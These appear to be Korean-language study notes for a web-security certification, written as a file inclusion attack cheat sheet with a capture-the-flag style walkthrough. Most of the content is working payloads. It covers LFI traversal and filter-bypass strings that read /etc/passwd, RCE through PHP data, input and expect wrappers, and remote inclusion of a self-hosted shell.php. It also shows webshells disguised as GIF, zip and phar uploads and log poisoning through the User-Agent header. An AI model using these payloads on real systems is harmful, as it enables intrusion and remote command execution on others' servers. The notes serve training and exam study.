파일 포함 공격

파일 포함

파일 경로 탐색(파일 포함이라고도 함) 에 대한 내 BSCP 연구 노트

로컬 파일 포함

명령

설명

기본 LFI

/index.php?language=/etc/passwd

/index.php?language=../../../../etc/passwd

경로 탐색이 포함된 LFI - 대상 서버에서 유효한 사용자를 식별하는 방법입니다.

/index.php?language=/../../../etc/passwd

이름 접두사가 있는 LFI입니다.

GET /index.php?language=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

/index.php?language=./languages/../../../../etc/passwd

승인된 경로가 있는 LFI

GET /index.php?language=languages/....//....//....//....//...//flag.txt

languages/승인된 전면 및 이스케이프 필터 경로가 있는 LFI .

LFI 우회

/index.php?language=....//....//....//....//....//etc/passwd

기본 경로 순회 필터 우회

/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

URL 인코딩으로 필터 우회 - 온라인 URL 디코드 인코더

/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]

경로 잘림을 사용하여 추가된 확장 무시(사용되지 않음) 추가된 확장 - 경로 잘림

echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

이 bash 스크립트는 PHP 확장자를 필터링하고 자르는 데 필요한 2048배 문자열 탐색 경로를 생성합니다.

/index.php?language=../../../../etc/passwd%00

null byte(구식)을 사용하여 추가된 확장을 우회합니다.

/index.php?language=php://filter/read=convert.base64-encode/resource=config

base64 필터를 사용하여 PHP 페이지의 소스 코드 읽기 - PHP 필터를 사용한 소스 코드 공개

원격 코드 실행

URL 스트림을 통해 명령을 직접 실행할 수 있는 Expect 래퍼입니다. Expect는 웹 셸과 매우 유사하게 작동합니다. 데이터 래퍼를 사용하여 PHP 코드를 포함한 외부 데이터를 포함할 수 있습니다. 그러나 데이터 래퍼는 allow_url_includePHP 구성에서 설정이 활성화된 경우에만 사용할 수 있습니다 .

PHP 래퍼

명령

설명

/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

데이터 래퍼를 사용한 RCE 원격 명령 실행

echo '<?php system($_GET["cmd"]); ?>' | base64

명령 실행을 위해 데이터 래퍼에 전달할 수 있는 웹셸로 위에서 사용된 base64 문자열을 생성합니다.

curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

PHP 구성 확인, base64로 인코딩된 문자열이 있으면 이를 디코딩하고 허용_url_include에 대한 grep을 통해 해당 값을 확인할 수 있습니다.

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"

입력 래퍼가 포함된 RCE

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

예상 래퍼가 포함된 RCE

RFI 원격 파일 포함

명령

설명

echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>

호스트 웹 셸

/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

원격 PHP 웹 셸 포함

LFI + 업로드

명령

설명

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

악성 GIF 웹쉘을 제작하여 악성 이미지 생성

/index.php?language=./profile_images/shell.gif&cmd=id

악성 업로드 이미지가 포함된 RCE

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

악성 zip 아카이브를 다음과 같이 생성합니다.shell.jpg

/index.php?language=zip://shell.zip%23shell.php&cmd=id

악성 업로드 zip이 포함된 RCE

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

악성 phar를 'jpg'로 생성하고 이를 phar 파일로 컴파일한 후 다음과 같이 이름을 바꿉니다.shell.jpg

/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

악성 업로드된 phar가 포함된 RCE

로그 세션 중독

명령

설명

PHPSESSID=nguh23jsnmkjuvesphkhoo2ptt

세션 쿠키의 예는 로그 경로를 다음과 같이 나타냅니다./var/lib/php/sessions/sess_nguh23jsnmkjuvesphkhoo2ptt

/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

PHP 세션 매개변수 읽기

<?php system($_GET["cmd"]);?>

이 웹쉘 URL은 중독에 사용되는 다음 페이로드로 인코딩됩니다.%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E

/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E

포이즌 공격이 있는 웹 서버 로그 의 웹 셸을 사용한 포이즌 PHP 세션

/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

중독된 PHP 세션을 통한 RCE

curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'

포이즌 서버 로그

/index.php?language=/var/log/apache2/access.log&cmd=id

중독된 PHP 세션을 통한 RCE

퍼징 LFI 매개변수 + 파일

명령

설명

sudo python -m pyftpdlib -p 21

Python의 pyftpdlib로 기본 FTP 서버 시작

impacket-smbserver -smb2support share $(pwd)

SMB 파일 공유 호스팅

sudo python3 -m http.server <LISTENING_PORT>

shell.php를 호스팅하려면

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php

PHP 파일 퍼징

ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value'

FFUF 자동 스캐닝을 사용하여 문서화되지 않은 웹 매개변수에 대한 퍼지 페이지

ffuf -w /usr/share/seclists/Fuzzing/XSS/XSS-With-Context-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ'

LFI 단어 목록 이 포함된 Fuzz LFI 페이로드

ffuf -w /usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287

퍼즈 웹루트 경로

ffuf -c -ic -w drtychai-lfi-wordlist.txt:FUZZ -u 'http://94.237.49.11:53690/ilf_admin/index.php?log=../../../../../../../..FUZZ' -fs 2046 -replay-proxy http://127.0.0.1:8080

프록시를 통해 FFUF는 단어 목록 drtychai lfi가 포함된 식별된 LFI 주입 웹 매개변수입니다.

ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287

퍼지 서버 구성

SecList 퍼징 LFI

예: 웹 매개변수를 발견한 후 viewBurp Suite는 이 LFI를 발견했습니다.

GET /index.php?view=../../../../../../../../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

파일 포함 기능

기능

콘텐츠 읽기

실행하다

원격 URL

PHP

include()/include_once()

require()/require_once()

file_get_contents()

fopen()/file()

NodeJS

fs.readFile()

fs.sendFile()

res.render()

자바

include

import

.그물

@Html.Partial()

@Html.RemotePartial()

Response.WriteFile()

include

기술 평가 - 파일 포함

LFI 기술 시나리오 INLANEFREIGHT 회사는 공개 웹 사이트 중 하나에 대해 웹 애플리케이션 평가를 수행하도록 귀하와 계약했습니다. 그들은 과거에 많은 평가를 거쳤지만 몇 가지 새로운 기능을 서둘러 추가했으며 특히 파일 포함/경로 탐색 취약성에 대해 우려하고 있습니다.

대상 IP 주소만 제공했으며 추가 정보는 제공하지 않았습니다. 83.136.252.24:46462

열거

LFI 또는 파일 포함 주입 지점을 식별합니다.

ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://83.136.252.24:46462/FUZZ.php

웹 앱 루트의 식별된 페이지에서 각 페이지의 매개변수를 검색합니다.

ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://83.136.252.24:46462/about.php?FUZZ=value'

식별된 매개변수:http://83.136.252.24:46462/index.php?page=value

PHP 필터 읽기

페이지 의 소스 코드를 가져오세요 . 단 , 웹 애플리케이션이 자동으로 추가하므로 확장자를 index.php포함하지 마세요 .php

GET /index.php?page=php://filter/read=convert.base64-encode/resource=index 

응답 base64 문자열을 PHP 코드로 변환:

echo 'PCFET0NUWVBFIGh0hjyrujwergwrtbWw <snip> teyrjetyjtryjrytjCg== | base64 -d > index.php
cat index.php | grep -ie 'Admin'

동일한 방법 error.phpmain.php소스코드로 추출합니다.

소스 코드에서 다음 PHP 주석을 찾아보세요.

// echo '<li><a href="ilf_admin/index.php">Admin</a></li>';

PHP 소스 코드 주석에서 발견된 관리 페이지를 평가하고 매개 log변수를 사용하여 파일을 읽습니다. LFI + 로그 중독 기술 = RCE는 원격 코드 실행을 얻고 파일 시스템의 / 루트 디렉터리에서 플래그를 찾습니다.

로그 포이즌

FFUF 명령은 nginx.conf액세스 로그에 대한 경로를 나타내는 파일을 /var/log/nginx/access.log.

ffuf -c -ic -w /usr/share/seclists/Fuzzing/XSS/XSS-With-Context-Jhaddix.txt:FUZZ -u 'http://94.237.49.11:53690/ilf_admin/index.php?log=../../../../../../../..FUZZ' -replay-proxy http://127.0.0.1:8080 -fs 2046

로그에서 우리는 이 user-agent반영되고 저장되었음을 알 수 있습니다. 다음 값으로 삽입된 PHP 웹셸 코드 User-Agent:

<?php system($_GET['cmd']); ?>

로그가 PHP 코드로 오염되면 대상에서 웹쉘 명령을 실행할 수 있습니다.

GET /ilf_admin/index.php?log=../../../../../../../../../var/log/nginx/access.log&cmd=ls+/+-al HTTP/1.1

RCE로 목표물의 깃발을 획득하세요.

/ilf_admin/index.php?log=../../../../../../../../../var/log/nginx/access.log&cmd=cat+/flag_.txt

Last updated